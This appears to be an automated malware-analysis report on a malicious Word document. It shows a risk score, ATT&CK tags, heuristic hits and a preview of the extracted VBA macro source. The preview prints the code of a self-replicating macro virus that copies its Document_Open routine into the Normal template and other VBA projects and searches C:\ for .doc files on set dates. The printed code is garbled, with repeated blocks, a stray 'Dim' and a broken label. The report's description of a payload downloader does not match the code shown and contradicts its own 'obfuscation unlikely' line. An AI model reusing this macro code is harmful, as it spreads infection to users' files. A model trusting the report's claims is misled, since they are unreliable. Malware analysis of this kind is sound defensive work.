MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature Doc.Trojan.Eight941-1. It contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening the document. The macro code appears to be obfuscated and truncated, but its presence strongly suggests an attempt to download and execute a second-stage payload, characteristic of a macro-based downloader.
Heuristics 3
-
ClamAV: Doc.Trojan.Eight941-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Eight941-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 14187 bytes |
SHA-256: 862a0a8dc07e0d972fc2add53428732049562db3a22bbb35f50a9d02045b426c |
|||
|
Detection
ClamAV:
Doc.Trojan.Eight941-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
If Left(Me.BuiltInDocumentProperties("Title"), 1) = "?" Then
Me.BuiltInDocumentProperties("Title") = Mid(Me.BuiltInDocumentProperties("Title"), 2)
Exit Sub
End If
Me.BuiltInDocumentProperties("Title") = "?" & Me.BuiltInDocumentProperties("Title")
Dim currdoc As Document
Dim thecode As Object
On Error Resume Next
If Left(Me.BuiltInDocumentProperties("Title"), 1) = "?" Then
Me.BuiltInDocumentProperties("Title") = Mid(Me.BuiltInDocumentProperties("Title"), 2)
Exit Sub
End If
Me.BuiltInDocumentProperties("Title") = "?" & Me.BuiltInDocumentProperties("Title")
Dim
Dim thecode As Object
On Error Resume Next
If Left(Me.BuiltInDocumentProperties("Title"), 1) = "?" Then
Me.BuiltInDocumentProperties("Title") = Mid(Me.BuiltInDocumentProperties("Title"), 2)
Exit Sub
End If
Me.BuiltInDocumentProperties("Title") = "?" & Me.BuiltInDocumentProperties("Title")
Dim currdoc As Document
Dim thecode As Object
On Error Resume Next
If Left(Me.BuiltInDocumentProperties("Title"), 1) = "?" Then
Me.BuiltInDocumentProperties("Title") = Mid(Me.BuiltInDocumentProperties("Title"), 2)
Exit Sub
End If
Me.BuiltInDocumentProperties("Title") = "?" & Me.BuiltInDocumentProperties("Title")
Dim currdoc As Document
Dim thecode As Object
On Error Resume Next
If Left(Me.BuiltInDocumentProperties("Title"), 1) = "?" Then
Me.BuiltInDocumentProperties("Title") = Mid(Me.BuiltInDocumentProperties("Title"), 2)
Exit Sub
End If
Me.BuiltInDocumentProperties("Title") = "?" & Me.BuiltInDocumentProperties("Title")
Dim currdoc As Document
Dim thecode As Object
Dim currcomp As Object
Private Sub Document_Open()
On Error Resume Next
Dim i, j As Integer
j = -1
For i = 1 To Application.VBE.VBProjects.Count
If Application.VBE.VBProjects(i).Name = "Normal" Then
j = i
End If
If Application.VBE.VBProjects(i).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 100) = False Then
Dim B, l As Integer
If j > 0 Then
If Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 100) = True Then
B = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
l = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Lines(B, B + l)
Else
B = Me.VBProject.VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
l = Me.VBProject.VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Me.VBProject.VBComponents(1).CodeModule.Lines(B, B + l)
End If
End If
End If
Next i
If (Month(Date) = 11 And Day(Date) = 10) Or (Month(Date) = 7 And Day(Date) = 1) Then
Set fs = Application.FileSearch
fs.LookIn = "c:\"
fs.FileName = "*.doc"
fs.SearchSubFolders = True
If fs.Execute() > 0 Then
For i = 1 To fs.FoundFiles.Count
Options.AllowFastSave = True
Options.BackgroundSave = True
Options.CreateBackup = False
Options.SavePropertiesPrompt = False
Options.SaveNormalPrompt = False
Exitub:
Next i
End If
End If
End Sub
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.